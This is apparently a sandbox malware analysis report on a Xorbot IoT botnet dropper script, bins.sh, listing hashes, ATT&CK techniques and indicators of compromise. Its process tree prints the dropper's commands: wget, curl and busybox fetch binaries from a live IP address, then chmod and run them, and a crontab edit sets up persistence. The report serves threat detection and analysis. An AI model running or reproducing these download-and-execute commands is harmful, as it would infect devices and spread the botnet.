xorbot | 1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f

Analysis

max time kernel
72s
max time network
149s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/02/2025, 11:21

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General

Target

bins.sh
Size

10KB
MD5

8665f2af69fbd363509207dc0486225c
SHA1

7d3257b493a353a934f65a5ec649dc6a2d5d229e
SHA256

1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f
SHA512

3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986
SSDEEP

96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1636) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
729	chmod
736	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	730	bins.sh
/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	737	bins.sh

Renames itself 1 IoCs

pid	Process
738	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.pHjXY4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/961/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/696/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/817/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/951/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/983/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/24/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/792/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/976/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/986/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/10/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/980/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/748/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/761/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/931/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/768/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/769/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/882/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/697/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/783/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/800/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/946/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/4/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/471/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/778/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/975/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/979/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/75/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/311/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/331/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/691/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/755/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/758/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/859/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/912/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/956/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/960/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/226/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/782/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/816/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/871/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/881/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/967/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/981/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/701/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/744/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/822/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/836/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/886/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/955/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/378/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/757/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/807/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/824/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/889/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/661/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/749/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/823/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/894/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/963/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/805/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/953/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/78/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/745/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
File opened for reading	/proc/759/cmdline	tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	wget
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	curl
File opened for modification	/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq	busybox
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	wget
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	curl
File opened for modification	/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:699
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - Writes file to tmp directory
  PID:708
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  ./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  PID:730
- /bin/rm
  rm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx
  2⤵
  PID:732
- /usr/bin/wget
  wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  ./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:737
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:739
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:740
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:741
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:742
- /bin/rm
  rm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq
  2⤵
  PID:744
- /usr/bin/wget
  wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh
  2⤵
  PID:828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.pHjXY4

Filesize
210B

MD5
003b85078184db7ac2a923e2a34df7a0

SHA1
1bfe8b298cce1ad3c1cce0caff7fe10117348a87

SHA256
9c1b51dd4d4248616c2b2fbcd330b3855253dbf5f6fd9d35d578d5b32ce3457a

SHA512
9ccc5a049edf3673b2b24bcd23ba1d6c597b3ffd0c5c84e5b73f9e588606868b403c9977ecf36acb7827520b79ea69740c4d9108f38d020ee5b54ffc8821bce5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads